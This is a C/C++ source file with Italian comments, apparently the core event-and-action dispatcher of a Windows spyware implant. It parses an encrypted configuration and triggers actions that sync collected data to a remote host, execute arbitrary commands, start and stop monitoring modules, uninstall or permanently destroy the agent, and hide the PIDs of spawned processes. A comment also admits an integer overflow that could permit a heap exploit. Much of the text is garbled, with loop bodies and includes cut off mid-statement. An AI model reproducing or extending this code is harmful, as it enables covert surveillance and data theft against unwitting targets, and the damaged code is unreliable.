#include #include "common.h" #include "H4-DLL.h" #include "demo_functions.h" #include "UnHookClass.h" #include "DeepFreeze.h" #include "x64.h" #include "status_log.h" #include "SM_Core.h" #include "SM_ActionFunctions.h" #include "JSON\JSON.h" #include "SM_EventHandlers.h" // Il sistema si basa su condizioni->eventi->azioni // Un event monitor, quando si verifica una condizione, genera un evento. Le condizioni sono verificate a discrezione // dell'event monitor (EM)stesso in base al Param passato alla funzione pEventMonitorAdd. // Quando una condizione si verifica, l'EM richiama TriggerEvent. Il SyncManager monitora gli eventi e, quando ne // rileva uno, esegue le azioni associate nella sua tabella eventi/azioni. #define MAX_EVENT_MONITOR 15 // Massimo numero di event monitor registrabili #define MAX_DISPATCH_FUNCTION 15 // Massimo numero di azioni registrabili #define SYNCM_SLEEPTIME 100 typedef void (WINAPI *EventMonitorAdd_t) (JSONObject, event_param_struct *, DWORD); typedef void (WINAPI *EventMonitorStart_t) (void); typedef void (WINAPI *EventMonitorStop_t) (void); typedef BOOL (WINAPI *ActionFunc_t) (BYTE *); ActionFunc_t ActionFuncGet(DWORD action_type, BOOL *is_fast_action); typedef void (WINAPI *conf_callback_t)(JSONObject, DWORD counter); extern BOOL HM_ParseConfSection(char *conf, WCHAR *section, conf_callback_t call_back); extern BOOL HM_CountConfSection(char *conf, WCHAR *section, DWORD *count); extern DWORD AM_GetAgentTag(const WCHAR *agent_name); // Gestione event monitor ---------------------------------------------- typedef struct { WCHAR event_type[32]; EventMonitorAdd_t pEventMonitorAdd; EventMonitorStart_t pEventMonitorStart; EventMonitorStop_t pEventMonitorStop; } event_monitor_elem; // Struttura per gestire i thread di ripetizione typedef struct { DWORD event_id; DWORD repeat_action; DWORD count; DWORD delay; BOOL semaphore; } repeated_event_struct; // Struttura della tabella degli eventi typedef struct { BOOL event_enabled; repeated_event_struct repeated_event; HANDLE repeated_thread; } event_table_struct; // Tabella degli event monitor attualmente registrati DWORD event_monitor_count = 0; event_monitor_elem event_monitor_array[MAX_EVENT_MONITOR]; // Tabella contenente lo stato di attivazione di tutti gli eventi nel file di configurazione event_table_struct *event_table = NULL; DWORD event_count = 0; DWORD WINAPI RepeatThread(repeated_event_struct *repeated_event) { DWORD i = 0; LOOP { CANCELLATION_SLEEP(repeated_event->semaphore, repeated_event->delay); if (i < repeated_event->count) { i++; TriggerEvent(repeated_event->repeat_action, repeated_event->event_id); } } return 0; } // Permette di gestire i repeat degli eventi void CreateRepeatThread(DWORD event_id, DWORD repeat_action, DWORD count, DWORD delay) { DWORD dummy; // Non c'e' nessuna azione da fare if (repeat_action == AF_NONE || count == 0 || delay<1000) return; // L'evento non e' riconosciuto if (event_id >= event_count) return; // C'e' gia' un thread attivo per quell'evento if (event_table[event_id].repeated_thread) return; event_table[event_id].repeated_event.count = count; event_table[event_id].repeated_event.delay = delay; event_table[event_id].repeated_event.event_id = event_id; event_table[event_id].repeated_event.repeat_action = repeat_action; event_table[event_id].repeated_event.semaphore = FALSE; event_table[event_id].repeated_thread = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RepeatThread, &event_table[event_id].repeated_event, 0, &dummy); } void StopRepeatThread(DWORD event_id) { // L'evento non e' riconosciuto if (event_id >= event_count) return; QUERY_CANCELLATION(event_table[event_id].repeated_thread, event_table[event_id].repeated_event.semaphore); } // Registra un nuovo event monitor void EventMonitorRegister(WCHAR *event_type, EventMonitorAdd_t pEventMonitorAdd, EventMonitorStart_t pEventMonitorStart, EventMonitorStop_t pEventMonitorStop) { if (event_monitor_count >= MAX_EVENT_MONITOR) return; swprintf_s(event_monitor_array[event_monitor_count].event_type, L"%s", event_type); event_monitor_array[event_monitor_count].pEventMonitorAdd = pEventMonitorAdd; event_monitor_array[event_monitor_count].pEventMonitorStop = pEventMonitorStop; event_monitor_array[event_monitor_count].pEventMonitorStart = pEventMonitorStart; event_monitor_count++; } void EventMonitorStartAll() { DWORD i; for (i=0; i= event_count) { temp_event_table = (event_table_struct *)realloc(event_table, (event_id + 1) * sizeof(event_table_struct)); if (!temp_event_table) return; event_table = temp_event_table; event_count = event_id + 1; event_table[event_id].repeated_thread = NULL; ZeroMemory(&event_table[event_id].repeated_event, sizeof(repeated_event_struct)); } event_table[event_id].event_enabled = state; } // Assegna una riga "evento" della configurazione al corretto event monitor void EventMonitorAddLine(const WCHAR *event_type, JSONObject conf_json, event_param_struct *event_param, DWORD event_id, BOOL event_state) { DWORD i; // Inizializza lo stato attivo/disattivo dell'evento SM_EventTableState(event_id, event_state); for (i=0; i= event_count) return FALSE; return event_table[event_id].event_enabled; } //------------------------------------------------------------------ // Tabella delle actions ------------------------------------------ typedef struct { ActionFunc_t pActionFunc; // Puntatore alla funzione che effettua l'action BYTE *param; // Puntatore all'array contenente i parametri } action_elem; typedef struct { DWORD subaction_count; // numero di azioni collegate all'evento action_elem *subaction_list; // puntatore all'array delle azioni BOOL is_fast_action; // e' TRUE se non contiene alcuna sottoazione lenta (sync, uninst e execute) BOOL triggered; // Se l'evento e' triggerato o meno } event_action_elem; static event_action_elem *event_action_array = NULL; // Puntatore all'array dinamico contenente le actions. // Si chiude con una entry nulla. static DWORD event_action_count = 0; // Numero di elementi nella tabella event/actions // Funzione da esportare (per eventuali event monitor esterni o per far generare eventi anche // agli agents). Triggera l'evento "index". L'event_id indica quale evento sta triggerando l'azione. // Se l'evento e' stato disabilitato, l'azione non e' triggerata void TriggerEvent(DWORD index, DWORD event_id) { // Se e' uguale ad AF_NONE sara' sicuramente > event_action_count if (index >= event_action_count) return; // L'azione viene effettivamente triggerata solo se l'evento che l'ha generata // e' attivo in quel momento if (EventIsEnabled(event_id)) event_action_array[index].triggered = TRUE; } // Cerca un evento qualsiasi che e' stato triggerato. Se lo trova torna TRUE e valorizza // il puntatore all'array delle relative actions e il numero delle actions stesse. // Legge solo le azioni lente BOOL ReadEventSlow(DWORD *event_id) { static DWORD i = 0; for (; i= event_action_count) return TRUE; // All'inizio subaction_list e subaction_count sono a 0 perche' azzerate nella ActionTableInit // XXX si, c'e' un int overflow se ci sono 2^32 sotto azioni che potrebbe portare a un exploit nello heap (es: double free).... temp_action_list = realloc(event_action_array[event_number].subaction_list, sizeof(action_elem) * (event_action_array[event_number].subaction_count + 1) ); // Se non riesce ad aggiungere la nuova sottoazione lascia tutto com'e' if (!temp_action_list) return TRUE; // Se l'array delle sottoazioni e' stato ampliato con successo, incrementa il numero delle sottoazioni // e aggiunge la nuova subaction subaction_count = event_action_array[event_number].subaction_count++; event_action_array[event_number].subaction_list = (action_elem *)temp_action_list; event_action_array[event_number].subaction_list[subaction_count].pActionFunc = ActionFuncGet(subaction_type, &is_fast_action); event_action_array[event_number].subaction_list[subaction_count].param = param; return is_fast_action; } // Quando questa funzione viene chiamata non ci devono essere thread attivi // che possono chiamare la funizone TriggerEvent. Dovrei proteggerlo come CriticalSection // ma mi sembra sprecato in questo contesto (basta solo fare un po' di attenzione se si dovesse // verificare il caso). void ActionTableInit(DWORD number) { DWORD i,j; event_action_elem *temp_event_action_array = NULL; // Libera gli eventuali parametri allocati nella precedente configurazione for (i=0; i= MAX_DISPATCH_FUNCTION) return; dispatch_func_array[dispatch_func_count].action_type = action_type; dispatch_func_array[dispatch_func_count].pActionFunc = pActionFunc; dispatch_func_array[dispatch_func_count].is_fast_action = is_fast_action; dispatch_func_count++; } // Ritorna il puntatore alla funzione di action associata ad un certo action_type ActionFunc_t ActionFuncGet(DWORD action_type, BOOL *is_fast_action) { DWORD i; if (is_fast_action) *is_fast_action = TRUE; for (i=0; iAsNumber(); else event_param.start_action = AF_NONE; if (conf_json[L"end"]) event_param.stop_action = conf_json[L"end"]->AsNumber(); else event_param.stop_action = AF_NONE; if (conf_json[L"repeat"]) event_param.repeat_action = conf_json[L"repeat"]->AsNumber(); else event_param.repeat_action = AF_NONE; if (conf_json[L"iter"]) event_param.count = conf_json[L"iter"]->AsNumber(); else event_param.count = 0xFFFFFFFF; if (conf_json[L"delay"]) { event_param.delay = (conf_json[L"delay"]->AsNumber() * 1000); if (event_param.delay == 0) event_param.delay = 1; } else event_param.delay = 1; EventMonitorAddLine(conf_json[L"event"]->AsString().c_str(), conf_json, &event_param, counter, conf_json[L"enabled"]->AsBool()); } BYTE *ParseActionParameter(JSONObject conf_json, DWORD *tag) { WCHAR action[64]; BYTE *param = NULL; if (tag) *tag = AF_NONE; _snwprintf_s(action, 64, _TRUNCATE, L"%s", conf_json[L"action"]->AsString().c_str()); if (!wcscmp(action, L"log")) { *tag = AF_LOGINFO; param = (BYTE *)wcsdup(conf_json[L"text"]->AsString().c_str()); } else if (!wcscmp(action, L"synchronize")) { typedef struct { DWORD min_sleep; DWORD max_sleep; DWORD band_limit; BOOL exit_after_completion; char asp_server[1]; } sync_conf_struct; sync_conf_struct *sync_conf; *tag = AF_SYNCRONIZE; param = (BYTE *)malloc(sizeof(sync_conf_struct) + wcslen(conf_json[L"host"]->AsString().c_str())*2); if (param) { sync_conf = (sync_conf_struct *)param; sync_conf->min_sleep = conf_json[L"mindelay"]->AsNumber(); sync_conf->max_sleep = conf_json[L"maxdelay"]->AsNumber(); sync_conf->band_limit= conf_json[L"bandwidth"]->AsNumber(); sync_conf->exit_after_completion = conf_json[L"stop"]->AsBool(); sprintf(sync_conf->asp_server, "%S", conf_json[L"host"]->AsString().c_str()); } } else if (!wcscmp(action, L"execute")) { *tag = AF_EXECUTE; DWORD len = wcslen(conf_json[L"command"]->AsString().c_str()); param = (BYTE *)malloc(len+1); sprintf((char *)param, "%S", conf_json[L"command"]->AsString().c_str()); } else if (!wcscmp(action, L"uninstall")) { *tag = AF_UNINSTALL; } else if (!wcscmp(action, L"module")) { if (!wcscmp(conf_json[L"status"]->AsString().c_str(), L"start")) *tag = AF_STARTAGENT; else *tag = AF_STOPAGENT; param = (BYTE *)malloc(sizeof(DWORD)); if (param) { DWORD agent_tag = AM_GetAgentTag(conf_json[L"module"]->AsString().c_str()); memcpy(param, &agent_tag, sizeof(DWORD)); } } else if (!wcscmp(action, L"event")) { if (!wcscmp(conf_json[L"status"]->AsString().c_str(), L"enable")) *tag = AF_STARTEVENT; else *tag = AF_STOPEVENT; param = (BYTE *)malloc(sizeof(DWORD)); if (param) { DWORD event_id = conf_json[L"event"]->AsNumber(); memcpy(param, &event_id, sizeof(DWORD)); } } else if (!wcscmp(action, L"destroy")) { *tag = AF_DESTROY; param = (BYTE *)malloc(sizeof(BOOL)); if (param) { BOOL isPermanent = conf_json[L"permanent"]->AsBool(); memcpy(param, &isPermanent, sizeof(BOOL)); } } return param; } void WINAPI ParseActions(JSONObject conf_json, DWORD counter) { JSONArray subaction_array; DWORD i; DWORD tag; BYTE *conf_ptr; if (!conf_json[L"subactions"]) return; subaction_array = conf_json[L"subactions"]->AsArray(); for (i=0; iIsObject()) continue; subaction = subaction_array[i]->AsObject(); conf_ptr = ParseActionParameter(subaction, &tag); // Se ha aggiunto una subaction "slow" marca tutta l'action come slow // Basta una subaction slow per marcare tutto l'action if (!ActionTableAddSubAction(counter, tag, conf_ptr)) event_action_array[counter].is_fast_action = FALSE; } } // Istruisce gli EM per il monitor degli eventi e popola l'action table sulla base // del file di configurazione void UpdateEventConf() { DWORD action_count; char *conf_memory; if (!(conf_memory = HM_ReadClearConf(H4_CONF_FILE))) return; // Legge gli eventi EventTableInit(); HM_ParseConfSection(conf_memory, L"events", &ParseEvents); // Legge le azioni HM_CountConfSection(conf_memory, L"actions", &action_count); ActionTableInit(action_count); HM_ParseConfSection(conf_memory, L"actions", &ParseActions); SAFE_FREE(conf_memory); } // Lista dei processi eseguiti DWORD *process_executed = NULL; #define MAX_PROCESS_EXECUTED 512 // Gestisce la lista dei processi eseguiti. Quando un processo // non esiste piu' elimina l'hiding per il PID corrispondente. void SM_HandleExecutedProcess() { DWORD i; char *proc_name; pid_hide_struct pid_hide = NULL_PID_HIDE_STRUCT; // Questa funzione viene richiamata prima che possa essere // eseguita SM_AddExecutedProcess: quindi e' questa che si // preoccupa di inizializzare l'array dei PID if (!process_executed) { process_executed = (DWORD *)calloc(MAX_PROCESS_EXECUTED, sizeof(DWORD)); return; } // Cicla la lista dei processi eseguiti for (i=0; i